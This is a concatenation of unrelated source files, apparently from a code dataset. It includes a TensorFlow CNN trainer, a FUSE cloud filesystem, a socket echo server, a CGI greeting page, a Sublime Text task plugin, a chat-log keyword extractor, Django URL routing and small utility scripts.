初始化第一层的W和b\n with tf.name_scope('W_conv1'):\n W_conv1 = weight_variable([1, 4, 1, 32], name='W_conv1') # 1*4的采样窗口,32个卷积核从1个平面抽取特征\n variable_summaries(W_conv1)\n with tf.name_scope('b_conv1'):\n b_conv1 = bias_variable([32], name='b_conv1') # 每一个卷积核一个偏置值\n variable_summaries(b_conv1)\n\n # 把x_image和权值向量进行卷积,再加上偏置值,然后应用于relu激活函数\n with tf.name_scope('conv2d_1'):\n conv2d_1 = conv2d(x_image, W_conv1) + b_conv1\n with tf.name_scope('relu'):\n h_conv1 = tf.nn.relu(conv2d_1)\n with tf.name_scope('h_pool1'):\n h_pool1 = max_pool_2x2_first(h_conv1) # 进行max-pooling\n\n# 1*100的图片第一次卷积后还是1*49,第一��激活后不变,第一次池化后变为1*7\n# 进过上面操作后得到32张1*7的平面\n\n# 全连接层1阶段\nwith tf.name_scope('fc1'):\n # 初始化第一个全连接层的权值\n with tf.name_scope('W_fc1'):\n W_fc1 = weight_variable([1 * 7 * 32, 128], name='W_fc1') # 输入层有1*7*32个列的属性,全连接层有128个隐藏神经元\n variable_summaries(W_fc1)\n with tf.name_scope('b_fc1'):\n b_fc1 = bias_variable([128], name='b_fc1') # 1024个节点\n variable_summaries(b_fc1)\n\n # 把第二层的输出扁平化为1维,-1代表任意值\n with tf.name_scope('h_pool1_flat'):\n h_pool2_flat = tf.reshape(h_pool1, [-1, 1 * 7 * 32], name='h_pool1_flat')\n # 求第一个全连接层的输出\n with tf.name_scope('wx_plus_b1'):\n wx_plus_b1 = tf.matmul(h_pool2_flat, W_fc1) + b_fc1\n with tf.name_scope('relu'):\n h_fc1 = tf.nn.relu(wx_plus_b1)\n\n # Dropout处理,keep_prob用来表示处于激活状态的神经元比例\n with tf.name_scope('keep_prob'):\n keep_prob = tf.placeholder(tf.float32, name='keep_prob')\n with tf.name_scope('h_fc1_drop'):\n h_fc1_drop = tf.nn.dropout(h_fc1, keep_prob, name='h_fc1_drop')\n\n# 全连接层2阶段\nwith tf.name_scope('fc2'):\n # 初始化第二个全连接层\n with tf.name_scope('W_fc2'):\n W_fc2 = weight_variable([128, 10], name='W_fc2') # 输入为128个隐藏层神经元,输出层为10个数字可能结果\n variable_summaries(W_fc2)\n with tf.name_scope('b_fc2'):\n b_fc2 = bias_variable([10], name='b_fc2')\n variable_summaries(b_fc2)\n with tf.name_scope('wx_plus_b2'):\n wx_plus_b2 = tf.matmul(h_fc1_drop, W_fc2) + b_fc2\n with tf.name_scope('softmax'):\n # 计算输出\n prediction = tf.nn.softmax(wx_plus_b2)\n\n# 交叉熵代价函数\nwith tf.name_scope('cross_entropy'):\n cross_entropy = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=y, logits=prediction),\n name='cross_entropy')\n tf.summary.scalar('cross_entropy', cross_entropy)\n\n# 使用AdamOptimizer进行优化\nwith tf.name_scope('train'):\n train_step = tf.train.AdamOptimizer(1e-3).minimize(cross_entropy)\n\n# 求准确率\nwith tf.name_scope('accuracy'):\n with tf.name_scope('correct_prediction'):\n # 结果存放在一个布尔列表中\n correct_prediction = tf.equal(tf.argmax(prediction, 1), tf.argmax(y, 1)) # argmax返回一维张量中最大的值所在的位置\n with tf.name_scope('accuracy'):\n # 求准确率\n accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n tf.summary.scalar('accuracy', accuracy)\n\n# train训练集\ndata_train = pd.read_csv('../dataset/CNN_train_1800_shuffle.csv', header=None)\ndata_train = data_train.as_matrix()\n\n# 获取train特征矩阵\ndata_train_band = data_train[:, :-1]\nprint(data_train_band.shape) # (1800, 103)\n\n# 获取train标记onehot矩阵\ndata_train_label = pd.read_csv('../dataset/CNN_train_1800_shuffle_label_onehot.csv', header=None)\ndata_train_label = data_train_label.as_matrix()\nprint(data_train_label.shape) # (1800, 10)\n\n\n# 获取100个1800以内的随机数\ndef get_random_100():\n random_100 = []\n while (len(random_100) < 100):\n x = random.randint(0, 1799)\n if x not in random_100:\n random_100.append(x)\n return random_100\n\n\n# 初始化变量\ninit = tf.global_variables_initializer()\n\n# 合并所有的Summary\nmerge = tf.summary.merge_all()\n\n# 训练模型存储\nsaver = tf.train.Saver()\n\nwith tf.Session() as sess:\n sess.run(init)\n # 将图写入制定目录\n writer = tf.summary.FileWriter('./logs/CNN/', sess.graph)\n for i in range(1000):\n for batch in range(n_batch):\n # 训练模型\n random_100 = get_random_100()\n batch_xs = data_train_band[random_100][:, :100]\n batch_ys = data_train_label[random_100]\n summary, _ = sess.run([merge, train_step],\n feed_dict={x: batch_xs, y: batch_ys, keep_prob: 0.9}) # dropout比例\n writer.add_summary(summary, i)\n test_acc = sess.run(accuracy, feed_dict={x: data_test_band, y: data_test_label, keep_prob: 1.0})\n print(\"Training Times:\" + str(i) + \" , Testing Accuracy = \" + str(test_acc))\n # 保存模型\n saver.save(sess, './models/CNN.ckpt')\n # tensorboard --logdir=/Users/wangshaoyong/ProjectCLA-Project/CNN/logs\n","sub_path":"CNN/4.CNN_1D.py","file_name":"4.CNN_1D.py","file_ext":"py","file_size_in_byte":8831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"96906090","text":"#!/usr/bin/python3\n# ------------------------------------------------------------------------------\n\nfrom __future__ import with_statement\n\nimport errno\nimport os\nimport re\nimport time\n\nfrom datetime import datetime\nfrom src.exceptions.exceptions import InsufficientSpaceException\nfrom fuse import FuseOSError, Operations\n\n\ndef init_metadata(metadata, providers):\n metadata.acquire_lock()\n for (provider_name, provider_impl) in providers.items():\n file_names = list(provider_impl.listdir())\n for file_name in file_names:\n path = '/' + file_name\n file_length = provider_impl.lstat(path)['st_size']\n metadata.add_file_to_cloud(file_name, file_length, provider_name)\n metadata.release_lock()\n return metadata\n\n\nclass ProviderFS(Operations):\n def __init__(self, providers, metadata):\n self.providers = providers\n self.default_provider = list(providers.values())[1]\n self.metadata = init_metadata(metadata, providers)\n # utilizado quando se altera exteriormente o fh do\n # ficheiro que o Fuse pensa ser o atual\n self.fh_updated = {}\n\n def getattr(self, path, fh=None):\n self.metadata.acquire_lock()\n cloud_name = self.metadata.get_file_cloud_name(path[1:])\n \n if cloud_name:\n result = self.providers[cloud_name].lstat(path)\n else:\n result = self.default_provider.lstat(path)\n\n self.metadata.release_lock()\n\n if result is None:\n raise FuseOSError(errno.ENOENT)\n\n return result\n\n def readdir(self, path, fh):\n\n self.metadata.acquire_lock()\n ret_list = ['.', '..'] + self.metadata.get_all_file_names()\n self.metadata.release_lock()\n return ret_list\n\n def unlink(self, path):\n self.metadata.acquire_lock()\n cloud_name = self.metadata.get_file_cloud_name(path[1:])\n result = self.providers[cloud_name].unlink(path)\n if result is False:\n self.metadata.release_lock()\n raise FuseOSError(errno.ENOENT)\n else:\n self.metadata.del_file(path[1:])\n\n self.metadata.release_lock()\n\n return result\n\n def rename(self, old, new):\n self.metadata.acquire_lock()\n cloud_name = self.metadata.get_file_cloud_name(old[1:])\n ret = self.providers[cloud_name].rename(old, new)\n if ret is False:\n self.metadata.release_lock()\n raise FuseOSError(errno.EPERM)\n else:\n self.metadata.rename_file(old[1:], new[1:])\n self.metadata.release_lock()\n\n def open(self, path, flags):\n if flags & os.O_APPEND:\n raise FuseOSError(errno.EOPNOTSUPP)\n\n self.metadata.acquire_lock()\n self.metadata.add_read(path[1:])\n\n cloud_name = self.metadata.get_file_cloud_name(path[1:])\n fh = self.providers[cloud_name].open(path)\n self.metadata.release_lock()\n return fh\n\n def create(self, path, mode, fi=None):\n self.metadata.acquire_lock()\n cloud_info = self.metadata.choose_cloud_for_insertion(0)\n if cloud_info is None:\n self.metadata.release_lock()\n raise FuseOSError(errno.EPERM)\n else:\n (cloud_id, cloud_name) = cloud_info\n fh = self.providers[cloud_name].create(path)\n if fh is False:\n self.metadata.release_lock()\n raise FuseOSError(errno.EPERM)\n else:\n self.metadata.add_file_to_cloud(path[1:], 0, cloud_name)\n self.metadata.release_lock()\n return fh\n\n def read(self, path, length, offset, fh):\n self.metadata.acquire_lock()\n cloud_name = self.metadata.get_file_cloud_name(path[1:])\n bytes_read = self.providers[cloud_name].read(fh, path, length, offset)\n if bytes_read is None:\n self.metadata.release_lock()\n raise FuseOSError(errno.EROFS)\n self.metadata.release_lock()\n return bytes_read\n\n def write(self, path, buf, offset, fh):\n self.metadata.acquire_lock()\n fh = self.fh_updated.get(fh, fh)\n file = self.metadata[path[1:]]\n file_length = file['length']\n new_length = len(buf) + offset\n\n try:\n self.metadata.inc_dec_file_length(path[1:],\n new_length - file_length)\n cloud_name = self.metadata.get_file_cloud_name(path[1:])\n ret = self.providers[cloud_name].write(path, buf, offset, fh)\n \n if ret is False:\n self.metadata.release_lock()\n raise FuseOSError(errno.EIO)\n\n return ret\n except InsufficientSpaceException:\n try:\n fhr = self.open(path, 32768)\n buf_init = self.read(path, offset, 0, fhr)\n self.unlink(path)\n cloud_info = self.metadata.choose_cloud_for_insertion(\n new_length)\n\n if cloud_info is None:\n raise FuseOSError(errno.EIO)\n\n (cloud_id, to_cloud) = cloud_info\n fhw = self.providers[to_cloud].create(path)\n\n if fhw is False:\n raise FuseOSError(errno.EPERM)\n\n self.fh_updated[fh] = fhw\n self.metadata.add_file_to_cloud(path[1:], 0, to_cloud)\n\n if offset != 0:\n self.write(path, buf_init, 0, fhw)\n\n ret = self.write(path, buf, offset, fhw)\n \n return ret\n finally:\n self.metadata.release_lock()\n finally:\n try:\n self.metadata.release_lock()\n except RuntimeError:\n pass\n\n def release(self, path, fh):\n self.metadata.acquire_lock()\n cloud_name = self.metadata.get_file_cloud_name(path[1:])\n self.metadata.release_lock()\n if fh in self.fh_updated:\n ret = self.providers[cloud_name].release(self.fh_updated[fh])\n del self.fh_updated[fh]\n else:\n ret = self.providers[cloud_name].release(fh)\n return ret\n","sub_path":"src/fuse/fuse_impl.py","file_name":"fuse_impl.py","file_ext":"py","file_size_in_byte":6199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"363399994","text":"# \n# Functions for connections \n# \n\n# \n# Import libs\n# \n\nimport socket\n\ndef lib_server_open_connect(interface, port):\n\n # create socket\n sock = socket.socket()\n\n # reuse socket\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\n # interface and socket port\n sock.bind((interface, port))\n\n # number connections\n sock.listen(1)\n\n # socket for client and address\n conn , addr = sock.accept()\n\n # connection status\n print('Connected: %s' % str(addr))\n\n # start listening\n while True:\n\n # pack data in 1024 bytes\n data = conn.recv(1024)\n\n # stop if not data\n if not data:\n break\n\n # send response\n conn.send(data)\n\n # clouse connection\n conn.close()\n \n\n ","sub_path":"server_side/lib/connection/lib_server_connection.py","file_name":"lib_server_connection.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"248990416","text":"#!/usr/bin/env python3\n\n#importing the needed modules for using the inputs through thr html form\nimport cgi\nimport cgitb\n\n# enabling this module is needed to log errors to the browser\ncgitb.enable()\n# this stores the inputs in the FieldStorage Class\nform = cgi.FieldStorage()\n# this stores the value from the input in a variable\nusername = form.getvalue(\"username\", \"Your_Name\")\n\n# this is the part which the website is made of. the username variable is inserted and used here\nwebsite = \"\"\"\n\n\n \n Page Title\n \n \n

Hello, {}

\n

Hey {} you are looking good today!

\n \n\n\"\"\".format(username, username)\nprint(website)","sub_path":"cgi-bin/greeting.py","file_name":"greeting.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"353507307","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport re\nimport sublime\nimport sublime_plugin\nimport webbrowser\nfrom datetime import datetime\n\nSYNTAX_FILE_NAME = r'Packages/Donster2kPlainTasks/PlainTasks.tmLanguage'\n\n\nclass PlainTasksBase(sublime_plugin.TextCommand):\n def run(self, edit):\n self.open_tasks_bullet = self.view.settings().get('open_tasks_bullet')\n self.done_tasks_bullet = self.view.settings().get('done_tasks_bullet')\n self.canc_tasks_bullet = self.view.settings().get('canc_tasks_bullet')\n self.before_tasks_bullet_spaces = ' ' * self.view.settings().get('before_tasks_bullet_margin')\n if self.view.settings().get('done_tag'):\n self.done_tag = \"@done\"\n self.canc_tag = \"@cancelled\"\n else:\n self.done_tag = \"\"\n self.canc_tag = \"\"\n self.extensions = self.view.settings().get('extensions')\n self.date_format_short = self.view.settings().get('date_format_short')\n self.date_format = self.view.settings().get('date_format')\n self.runCommand(edit)\n\n\nclass PlainTasksNewCommand(PlainTasksBase):\n def runCommand(self, edit):\n for region in self.view.sel():\n line = self.view.line(region)\n line_contents = self.view.substr(line).rstrip()\n has_bullet = re.match('^(\\s*)[' + re.escape(self.open_tasks_bullet) + re.escape(self.done_tasks_bullet) + re.escape(self.canc_tasks_bullet) + ']', self.view.substr(line))\n current_scope = self.view.scope_name(self.view.sel()[0].b)\n if has_bullet:\n grps = has_bullet.groups()\n line_contents = self.view.substr(line) + '\\n' + grps[0] + self.open_tasks_bullet + ' '\n self.view.replace(edit, line, line_contents)\n elif 'header' in current_scope:\n header = re.match('^(\\s*)\\S+', self.view.substr(line))\n if header:\n grps = header.groups()\n line_contents = self.view.substr(line) + '\\n' + grps[0] + self.before_tasks_bullet_spaces + self.open_tasks_bullet + ' '\n else:\n line_contents = self.before_tasks_bullet_spaces + self.open_tasks_bullet + ' '\n self.view.replace(edit, line, line_contents)\n end = self.view.sel()[0].b\n pt = sublime.Region(end, end)\n self.view.sel().clear()\n self.view.sel().add(pt)\n else:\n has_space = re.match('^(\\s+)(.*)', self.view.substr(line))\n if has_space:\n grps = has_space.groups()\n spaces = grps[0]\n line_contents = spaces + self.open_tasks_bullet + ' ' + grps[1]\n self.view.replace(edit, line, line_contents)\n else:\n line_contents = self.before_tasks_bullet_spaces + self.open_tasks_bullet + ' ' + self.view.substr(line)\n self.view.replace(edit, line, line_contents)\n end = self.view.sel()[0].b\n pt = sublime.Region(end, end)\n self.view.sel().clear()\n self.view.sel().add(pt)\n\n\nclass PlainTasksCompleteCommand(PlainTasksBase):\n def runCommand(self, edit):\n original = [r for r in self.view.sel()]\n done_line_end = ' %s %s' % (self.done_tag, datetime.now().strftime(self.date_format))\n offset = len(done_line_end)\n for region in self.view.sel():\n line = self.view.line(region)\n line_contents = self.view.substr(line).rstrip()\n rom = '^(\\s*)' + re.escape(self.open_tasks_bullet) + '\\s*(.*)$'\n rdm = '^(\\s*)' + re.escape(self.done_tasks_bullet) + '\\s*([^\\b]*?)\\s*(%s)?[\\(\\)\\d\\w,\\.:\\-/ ]*\\s*$' % self.done_tag\n rcm = '^(\\s*)' + re.escape(self.canc_tasks_bullet) + '\\s*([^\\b]*?)\\s*(%s)?[\\(\\)\\d\\w,\\.:\\-/ ]*\\s*$' % self.canc_tag\n open_matches = re.match(rom, line_contents)\n done_matches = re.match(rdm, line_contents)\n canc_matches = re.match(rcm, line_contents)\n if open_matches:\n grps = open_matches.groups()\n self.view.insert(edit, line.end(), done_line_end)\n replacement = u'%s%s %s' % (grps[0], self.done_tasks_bullet, grps[1].rstrip())\n self.view.replace(edit, line, replacement)\n elif done_matches:\n grps = done_matches.groups()\n replacement = u'%s%s %s' % (grps[0], self.open_tasks_bullet, grps[1].rstrip())\n self.view.replace(edit, line, replacement)\n offset = -offset\n elif canc_matches:\n grps = canc_matches.groups()\n self.view.insert(edit, line.end(), done_line_end)\n replacement = u'%s%s %s' % (grps[0], self.done_tasks_bullet, grps[1].rstrip())\n self.view.replace(edit, line, replacement)\n offset = -offset\n self.view.sel().clear()\n for ind, pt in enumerate(original):\n ofs = ind * offset\n new_pt = sublime.Region(pt.a + ofs, pt.b + ofs)\n self.view.sel().add(new_pt)\n\n\nclass PlainTasksCancelCommand(PlainTasksBase):\n def runCommand(self, edit):\n original = [r for r in self.view.sel()]\n canc_line_end = ' %s %s' % (self.canc_tag, datetime.now().strftime(self.date_format))\n offset = len(canc_line_end)\n for region in self.view.sel():\n line = self.view.line(region)\n line_contents = self.view.substr(line).rstrip()\n rom = '^(\\s*)' + re.escape(self.open_tasks_bullet) + '\\s*(.*)$'\n rdm = '^(\\s*)' + re.escape(self.done_tasks_bullet) + '\\s*([^\\b]*?)\\s*(%s)?[\\(\\)\\d\\w,\\.:\\-/ ]*\\s*$' % self.done_tag\n rcm = '^(\\s*)' + re.escape(self.canc_tasks_bullet) + '\\s*([^\\b]*?)\\s*(%s)?[\\(\\)\\d\\w,\\.:\\-/ ]*\\s*$' % self.canc_tag\n open_matches = re.match(rom, line_contents)\n done_matches = re.match(rdm, line_contents)\n canc_matches = re.match(rcm, line_contents)\n if open_matches:\n grps = open_matches.groups()\n self.view.insert(edit, line.end(), canc_line_end)\n replacement = u'%s%s %s' % (grps[0], self.canc_tasks_bullet, grps[1].rstrip())\n self.view.replace(edit, line, replacement)\n elif done_matches:\n pass\n # grps = done_matches.groups()\n # replacement = u'%s%s %s' % (grps[0], self.canc_tasks_bullet, grps[1].rstrip())\n # self.view.replace(edit, line, replacement)\n # offset = -offset\n elif canc_matches:\n grps = canc_matches.groups()\n replacement = u'%s%s %s' % (grps[0], self.open_tasks_bullet, grps[1].rstrip())\n self.view.replace(edit, line, replacement)\n offset = -offset\n self.view.sel().clear()\n for ind, pt in enumerate(original):\n ofs = ind * offset\n new_pt = sublime.Region(pt.a + ofs, pt.b + ofs)\n self.view.sel().add(new_pt)\n\n\nclass PlainTasksArchiveCommand(PlainTasksBase):\n def runCommand(self, edit):\n rdm = '^(\\s*)' + re.escape(self.done_tasks_bullet) + '\\s*([^\\b]*?)\\s*(%s)?[\\(\\)\\d\\.:\\-/ ]*[ \\t]*$' % self.done_tag\n rcm = '^(\\s*)' + re.escape(self.canc_tasks_bullet) + '\\s*([^\\b]*?)\\s*(%s)?[\\(\\)\\d\\.:\\-/ ]*[ \\t]*$' % self.canc_tag\n\n # finding archive section\n archive_pos = self.view.find('Archive:', 0, sublime.LITERAL)\n\n done_tasks = []\n done_task = self.view.find(rdm, 0)\n # print(done_task)\n while done_task and (not archive_pos or done_task < archive_pos):\n done_tasks.append(done_task)\n done_task = self.view.find(rdm, done_task.end() + 1)\n\n canc_tasks = []\n canc_task = self.view.find(rcm, 0)\n # print(canc_task)\n while canc_task and (not archive_pos or canc_task < archive_pos):\n canc_tasks.append(canc_task)\n canc_task = self.view.find(rcm, canc_task.end() + 1)\n\n all_tasks = done_tasks + canc_tasks\n all_tasks.sort()\n\n if all_tasks:\n if archive_pos:\n line = self.view.full_line(archive_pos).end()\n else:\n self.view.insert(edit, self.view.size(), u'\\n\\n___________________\\nArchive:\\n')\n line = self.view.size()\n\n # adding tasks to archive section\n self.view.insert(edit, line, '\\n'.join(self.before_tasks_bullet_spaces + self.view.substr(task).lstrip() for task in all_tasks) + '\\n')\n # remove moved tasks (starting from the last one otherwise it screw up regions after the first delete)\n for task in reversed(all_tasks):\n self.view.erase(edit, self.view.full_line(task))\n\n\nclass PlainTasksNewTaskDocCommand(sublime_plugin.WindowCommand):\n def run(self):\n view = self.window.new_file()\n view.set_syntax_file(SYNTAX_FILE_NAME)\n\n\nclass PlainTasksOpenUrlCommand(sublime_plugin.TextCommand):\n #It is horrible regex but it works perfectly\n URL_REGEX = r\"\"\"(?i)\\b((?:https?://|www\\d{0,3}[.]|[a-z0-9.\\-]+[.][a-z]{2,4}/)(?:[^\\s()<>]+|\\(([^\\s()<>]+|(\\([^\\s()<>]+\\)))*\\))\n +(?:\\(([^\\s()<>]+|(\\([^\\s()<>]+\\)))*\\)|[^\\s`!()\\[\\]{};:'\".,<>?«»“”‘’]))\"\"\"\n\n def run(self, edit):\n s = self.view.sel()[0]\n # expand selection to possible URL\n start = s.a\n end = s.b\n\n # expand selection to nearest stopSymbols\n view_size = self.view.size()\n stopSymbols = ['\\t', ' ', '\\\"', '\\'', '>', '<', ',']\n # move the selection back to the start of the url\n while (start > 0\n and not self.view.substr(start - 1) in stopSymbols\n and self.view.classify(start) & sublime.CLASS_LINE_START == 0):\n start -= 1\n\n # move end of selection forward to the end of the url\n while (end < view_size\n and not self.view.substr(end) in stopSymbols\n and self.view.classify(end) & sublime.CLASS_LINE_END == 0):\n end += 1\n\n # grab the URL\n url = self.view.substr(sublime.Region(start, end))\n # optional select URL\n self.view.sel().add(sublime.Region(start, end))\n\n exp = re.search(self.URL_REGEX, url, re.X)\n if exp and exp.group(0):\n strUrl = exp.group(0)\n if strUrl.find(\"://\") == -1:\n strUrl = \"http://\" + strUrl\n webbrowser.open_new_tab(strUrl)\n else:\n sublime.status_message(\"Looks like there is nothing to open\")\n\n\nclass PlainTasksNewDayTaskDocCommand(PlainTasksBase):\n \"\"\"Creates a new todo file based on the current open file. Archived tasks are ignored.\n If the current view isn't a TODO, a new blank one view will be created.\"\"\"\n def run(self, edit):\n\n #If the current view is a task file, create a new file based on it.\n if (self.view.settings().get('syntax') == SYNTAX_FILE_NAME):\n self.createNewDayTaskDocumentBasedOnCurrent()\n else:\n self.createEmptyNewDayTaskDocument()\n\n def createEmptyNewDayTaskDocument(self):\n #Create the new view\n new_todo_file = self.view.window().new_file()\n new_todo_file.set_syntax_file(SYNTAX_FILE_NAME)\n\n #extension = new_todo_file.settings().get('default_new_day_extension')\n #date_format_short = new_todo_file.settings().get('date_format_short')\n\n # Assign a name to it, but the user will have to manually save the file...\n #new_todo_file.set_name(datetime.now().strftime(date_format_short + \".\" + extension))\n new_todo_file.set_name(datetime.now().strftime(\"%y-%m-%d-%A\" + \".\" + \"tasks\"))\n\n return new_todo_file\n\n def createNewDayTaskDocumentBasedOnCurrent(self):\n #Create an empty view.\n new_task_view = self.createEmptyNewDayTaskDocument()\n\n #Get all of the data before the archive section.\n archive_pos = self.view.find('Archive:', 0, sublime.LITERAL)\n\n edit = new_task_view.begin_edit()\n\n #region = sublime.Region(0, archive_pos)\n\n lines = self.view.lines(sublime.Region(0, archive_pos.end()))\n\n #new_task_view.insert(edit, 0, new_task_view.substr(lines))\n new_task_view.insert(edit, 0, '\\n'.join(self.view.substr(line) for line in lines) + '\\n')\n\n new_task_view.end_edit(edit)\n","sub_path":"PlainTasks.py","file_name":"PlainTasks.py","file_ext":"py","file_size_in_byte":12539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"331061397","text":"import re\nfrom jieba import analyse\n\n\n#TF_IDF算法:\ntfidf = analyse.extract_tags\n#TextRANK算法:\n#textrank = analyse.extract_tags\n\n#定义单句关键词分析:\n\ntext = open(r'C:\\Users\\Administrator\\Desktop\\qq爬虫\\新建文件夹\\许艳玲(1741775603).txt','r',encoding='utf-8', errors='ignore').read()\nfind = open(r'C:\\Users\\Administrator\\Desktop\\qq爬虫\\新建文件夹\\许艳玲关键词.txt','a',encoding='utf-8', errors='ignore')\ntexts = re.findall('数应本171许艳玲\\n(.*?)\\n',text)\nfor txt in texts:\n guanjianzi = tfidf(txt)\n for keyword in guanjianzi:\n print('本句关键词%s'%keyword)\n find.write(keyword)\n find.write(' ')\n\n\n\n\n\n ","sub_path":"爬虫/qq爬虫/qq聊天记录关键词提取.py","file_name":"qq聊天记录关键词提取.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"625042454","text":"# случай когда пирамидка состоит из одного блина — тривиален, и совпадает \r\n# когда остался один не переложенный блин. Если нам известно, как переложить \r\n# башню из н-1 звеньев, то мы перекладываем на дополнительный стержень, \r\n#после чего ный перекладываем на 2 и снова перекладываем с дополтиленьного \r\n#стержня на основной (используя первый, как дополнительный)\r\n\r\ndef hanoi(n, i=1, j=2):\r\n\tif n == 1:\r\n\t\tprint('переставить 1', 'блин с', i, 'на', j, 'стержень')\r\n\telse:\r\n\t\thanoi(n - 1, i, n - 1 - i - j)\r\n\t\tprint('переставить', n, 'блин с', i, 'на', j, 'стержень')\r\n\t\thanoi(n - 1, n - 1 - i - j, j)\r\n\r\nhanoi(7)\r\n","sub_path":"32. Ханойские башни.py","file_name":"32. Ханойские башни.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"610402001","text":"from sdk.color_print import c_print\nfrom cloud_accounts import cld_migrate, cld_get, cld_compare, cld_update, cld_delete\n\ndef sync(tenant_sessions: list, addMode: bool, upMode: bool, delMode: bool, logger:object):\n '''Update, add, or delete cloud accounts to normalize all tenants to be the same as the source tenant'''\n\n added_cloud = []\n updated_cloud = []\n deleted_cloud = []\n\n if addMode:\n #Migrate missing cloud accounts first using migrate module\n added_cloud = cld_migrate.migrate(tenant_sessions, logger)\n\n if upMode or delMode:\n #Get all cloud accounts from both tenants\n tenant_accounts = []\n for i in range(len(tenant_sessions)):\n accounts = cld_get.get_names(tenant_sessions[i], logger)\n tenant_accounts.append(accounts)\n\n #Get the full information for each cloud account\n tenants_cloud_accounts = []\n for i in range(len(tenant_accounts)):\n cloud_accounts_to_upload = []\n for j in range(len(tenant_accounts[i])):\n account = tenant_accounts[i][j]\n ret = cld_get.get_all_info(tenant_sessions[i], account, logger)#get info from original tenant\n if ret != '':\n cloud_accounts_to_upload.append(ret)\n tenants_cloud_accounts.append(cloud_accounts_to_upload)\n\n #Sync each tenants cloud accounts\n source_tenant_cloud_accounts = tenants_cloud_accounts[0]\n clone_tenants_cloud_accounts = tenants_cloud_accounts[1:]\n cln_tenant_sessions = tenant_sessions[1:]\n for index in range(len(clone_tenants_cloud_accounts)):\n if upMode:\n accounts_to_update = cld_compare.get_accounts_to_update(source_tenant_cloud_accounts, clone_tenants_cloud_accounts[index], tenant_sessions[0], cln_tenant_sessions[index], logger)\n updated = cld_update.update_accounts(cln_tenant_sessions[index], accounts_to_update, logger)\n updated_cloud.append(updated)\n \n if delMode:\n accounts_to_delete = cld_compare.get_accounts_to_delete(source_tenant_cloud_accounts, clone_tenants_cloud_accounts[index])\n deleted = cld_delete.delete_accounts(cln_tenant_sessions[index], accounts_to_delete, logger)\n deleted_cloud.append(deleted)\n else:\n deleted_cloud.append(0)\n\n return added_cloud, updated_cloud, deleted_cloud, {}\n\n\nif __name__ == '__main__':\n from sdk import load_config\n \n #Generate a API session for each tenant\n tenant_sessions = load_config.load_config_create_sessions()\n \n sync(tenant_sessions, True, True, True)\n\n\n","sub_path":"cloud_accounts/cld_sync.py","file_name":"cld_sync.py","file_ext":"py","file_size_in_byte":2688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"322629464","text":"from django.contrib import admin\nfrom django.urls import path, include\nfrom rest_framework_simplejwt.views import TokenObtainPairView, TokenRefreshView, TokenVerifyView\nfrom rest_framework import routers\nfrom rest_framework_simplejwt import views as jwt_views\n\nfrom apps.accounts.views import UserViewSet, VendorListing\nfrom apps.menu.views import MenuListing\nfrom apps.subcriptions.views import Service\n# from apps.menu.views import MenuListing\n# from apps.accounts.views import UserViewSet\n# from apps.subcriptions.views import Service\n\nrouter = routers.DefaultRouter()\n\nrouter.register('Service', Service, base_name='Service')\nrouter.register('registration', UserViewSet)\nrouter.register('MenuOfWeek', MenuListing)\nrouter.register('Service', Service)\nrouter.register('MenuOfWeek', MenuListing, base_name='MenuOfWeek')\n\nrouter.register('VendorListing', VendorListing, base_name='VendorListing')\n\nurlpatterns = [\n path('jet/', include('jet.urls', 'jet')), # Django JET URLS\n path('jet/dashboard/', include(\n 'jet.dashboard.urls', 'jet-dashboard')), # Django JET dashboard URLS\n path('admin/', admin.site.urls),\n path('auth/', include('rest_auth.urls')),\n path('', include('apps.accounts.urls')),\n path('menu/', include('apps.menu.urls')),\n path('order/', include('apps.orders.urls')),\n path('subscriptions/', include('apps.subcriptions.urls')),\n path('api/gettoken/', TokenObtainPairView.as_view(), name=\"gettoken\"),\n path('api/refresh_token', TokenRefreshView.as_view(),\n\n name=\"refresh_token\"),\n path('api/token/verify/', TokenVerifyView.as_view(), name='token_verify'),\n\n\n]\n","sub_path":"Messapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"122861764","text":"\nimport os\nimport numpy as np\nimport cv2\nfrom skimage import img_as_ubyte\n#constants\nfrom constants import IMAGE_DIR, MASK_DIR\n\n\n\ndef train_data(train_path, img_width, img_height):\n train_ids = next(os.walk(train_path))[1]\n x = np.zeros((len(train_ids), img_width, img_height, 3), dtype=np.uint8)\n y = np.zeros((len(train_ids), img_width, img_height, 1), dtype=np.bool)\n\n for i, id_ in enumerate(train_ids):\n path = train_path + id_\n img = cv2.imread(path + IMAGE_DIR + id_ + '.png')\n img = cv2.resize(img, (img_width, img_height))\n x[i] = img\n mask = np.zeros((img_width, img_height, 1), dtype=np.bool)\n for mask_file in next(os.walk(path + MASK_DIR))[2]:\n mask_ = cv2.imread(path + MASK_DIR + mask_file, 0)\n mask_ = cv2.resize(mask_, (img_width, img_height))\n mask_ = mask_[:, :, np.newaxis]\n mask = np.maximum(mask, mask_)\n y[i] = mask\n return x, y\n\n\ndef test_data(test_path, img_width, img_height):\n test_ids = next(os.walk(test_path))[1]\n pathes = []\n x = np.zeros((len(test_ids), img_width, img_height, 3), dtype=np.uint8)\n sizes_test = []\n\n for i, id_ in enumerate(test_ids):\n path = test_path + id_\n img = cv2.imread(path + IMAGE_DIR + id_ + '.png')\n pathes.append(path + IMAGE_DIR + id_ + 'mask.png')\n sizes_test.append([img.shape[0], img.shape[1]])\n img = cv2.resize(img, (img_height, 